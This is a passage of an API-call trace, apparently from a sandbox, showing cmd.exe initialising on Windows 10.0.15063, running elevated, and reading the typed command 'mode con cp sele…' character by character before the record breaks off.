lpFilePart=0xe6b974f780*="Desktop") returned 0x17 [0197.115] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0197.116] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xe6b974f4b0 | out: lpFindFileData=0xe6b974f4b0) returned 0x21ccf2a8500 [0197.116] FindClose (in: hFindFile=0x21ccf2a8500 | out: hFindFile=0x21ccf2a8500) returned 1 [0197.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xe6b974f4b0 | out: lpFindFileData=0xe6b974f4b0) returned 0x21ccf2a8500 [0197.116] FindClose (in: hFindFile=0x21ccf2a8500 | out: hFindFile=0x21ccf2a8500) returned 1 [0197.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xe6b974f4b0 | out: lpFindFileData=0xe6b974f4b0) returned 0x21ccf2a8500 [0197.116] FindClose (in: hFindFile=0x21ccf2a8500 | out: hFindFile=0x21ccf2a8500) returned 1 [0197.116] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0197.116] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0197.116] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0197.116] GetProcessHeap () returned 0x21ccf2a0000 [0197.116] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a7a10) returned 1 [0197.116] GetEnvironmentStringsW () returned 0x21ccf2a0fc0* [0197.117] GetProcessHeap () returned 0x21ccf2a0000 [0197.117] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xacc) returned 0x21ccf2a8500 [0197.117] FreeEnvironmentStringsA (penv="=") returned 1 [0197.117] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21ccf460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0197.117] GetProcessHeap () returned 0x21ccf2a0000 [0197.117] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a84b0) returned 1 [0197.117] ??_V@YAXPEAX@Z () returned 0x1 [0197.117] ??_V@YAXPEAX@Z () returned 0x1 [0197.117] GetProcessHeap () returned 0x21ccf2a0000 [0197.117] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x4016) returned 0x21ccf2a8fe0 [0197.117] GetProcessHeap () returned 0x21ccf2a0000 [0197.117] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8fe0) returned 1 [0197.117] GetConsoleOutputCP () returned 0x1b5 [0197.119] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0197.119] GetUserDefaultLCID () returned 0x409 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a755bb78, cchData=8 | out: lpLCData=":") returned 2 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe6b974fb40, cchData=128 | out: lpLCData="0") returned 2 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe6b974fb40, cchData=128 | out: lpLCData="0") returned 2 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe6b974fb40, cchData=128 | out: lpLCData="1") returned 2 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a755bb68, cchData=8 | out: lpLCData="/") returned 2 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a755bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a755bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a755ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a755ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a755ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a755b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a755b980, cchData=32 | out: lpLCData="Sun") returned 4 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a755bb58, cchData=8 | out: lpLCData=".") returned 2 [0197.119] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a755bb40, cchData=8 | out: lpLCData=",") returned 2 [0197.119] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0197.121] GetProcessHeap () returned 0x21ccf2a0000 [0197.121] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, Size=0x20c) returned 0x21ccf2a6560 [0197.121] GetConsoleTitleW (in: lpConsoleTitle=0x21ccf2a6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0197.121] _get_osfhandle (_FileHandle=1) returned 0x234 [0197.121] GetFileType (hFile=0x234) returned 0x3 [0197.264] ApiSetQueryApiSetPresence () returned 0x0 [0197.264] ResolveDelayLoadedAPI () returned 0x7ff91231d990 [0197.861] BrandingFormatString () returned 0x21ccf2a1850 [0198.427] GetVersion () returned 0x3ad7000a [0198.427] _vsnwprintf (in: _Buffer=0xe6b974fca0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xe6b974fc38 | out: _Buffer="10.0.15063") returned 10 [0198.427] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.427] GetFileType (hFile=0x234) returned 0x3 [0198.427] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6a7567f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0198.428] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff6a7567f60, nSize=0x2000, Arguments=0xe6b974fc40 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0198.428] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0198.428] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xe6b974fb98, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fb98*=0x26, lpOverlapped=0x0) returned 1 [0198.428] _vsnwprintf (in: _Buffer=0x7ff6a7567f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe6b974fc68 | out: _Buffer="\r\n") returned 2 [0198.428] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.428] GetFileType (hFile=0x234) returned 0x3 [0198.428] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.428] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe6b974fc38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fc38*=0x2, lpOverlapped=0x0) returned 1 [0198.428] _vsnwprintf (in: _Buffer=0x7ff6a7567f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xe6b974fc68 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0198.428] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.428] GetFileType (hFile=0x234) returned 0x3 [0198.428] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0198.428] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe6b974fc38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fc38*=0x34, lpOverlapped=0x0) returned 1 [0198.429] _vsnwprintf (in: _Buffer=0x7ff6a7567f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe6b974fc68 | out: _Buffer="\r\n") returned 2 [0198.429] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.429] GetFileType (hFile=0x234) returned 0x3 [0198.429] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.429] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe6b974fc38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fc38*=0x2, lpOverlapped=0x0) returned 1 [0198.429] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0198.429] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0198.429] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0198.429] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0198.429] ??_V@YAXPEAX@Z () returned 0x1 [0198.429] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.430] GetFileType (hFile=0x228) returned 0x3 [0198.430] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0198.430] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xe6b974faa8 | out: TokenHandle=0xe6b974faa8*=0x0) returned 0xc000007c [0198.430] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xe6b974faa8 | out: TokenHandle=0xe6b974faa8*=0x94) returned 0x0 [0198.430] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xe6b974fa58, TokenInformationLength=0x4, ReturnLength=0xe6b974fa60 | out: TokenInformation=0xe6b974fa58, ReturnLength=0xe6b974fa60) returned 0x0 [0198.430] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xe6b974fa60, TokenInformationLength=0x4, ReturnLength=0xe6b974fa58 | out: TokenInformation=0xe6b974fa60, ReturnLength=0xe6b974fa58) returned 0x0 [0198.430] NtClose (Handle=0x94) returned 0x0 [0198.430] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xe6b974fa70, nSize=0x0, Arguments=0xe6b974fa78 | out: lpBuffer="\x8320\xcf2a\x21c") returned 0xf [0198.430] GetProcessHeap () returned 0x21ccf2a0000 [0198.430] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x218) returned 0x21ccf2a6c30 [0198.559] GetConsoleTitleW (in: lpConsoleTitle=0xe6b974fac0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0198.561] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0198.561] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0198.924] GetProcessHeap () returned 0x21ccf2a0000 [0198.924] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6c30) returned 1 [0198.924] LocalFree (hMem=0x21ccf2a8320) returned 0x0 [0198.924] _vsnwprintf (in: _Buffer=0x7ff6a7567f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xe6b974f8e8 | out: _Buffer="\r\n") returned 2 [0198.924] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.924] GetFileType (hFile=0x234) returned 0x3 [0198.924] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.924] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.924] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xe6b974f8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974f8b8*=0x2, lpOverlapped=0x0) returned 1 [0198.924] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0198.924] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21ccf460080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0198.924] malloc (_Size=0x107ce) returned 0x21ccf470060 [0198.925] _vsnwprintf (in: _Buffer=0x21ccf470060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xe6b974f8f8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0198.925] _vsnwprintf (in: _Buffer=0x21ccf47008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xe6b974f8f8 | out: _Buffer=">") returned 1 [0198.925] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.925] GetFileType (hFile=0x234) returned 0x3 [0198.925] _get_osfhandle (_FileHandle=1) returned 0x234 [0198.925] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0198.925] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe6b974f8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974f8e8*=0x18, lpOverlapped=0x0) returned 1 [0198.925] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.925] GetFileType (hFile=0x228) returned 0x3 [0198.925] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.925] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.925] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.925] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0198.925] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.926] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.926] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0198.926] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.926] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.927] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.927] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.927] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.927] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0198.928] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.928] _get_osfhandle (_FileHandle=0) returned 0x228 [0198.928] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.928] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, 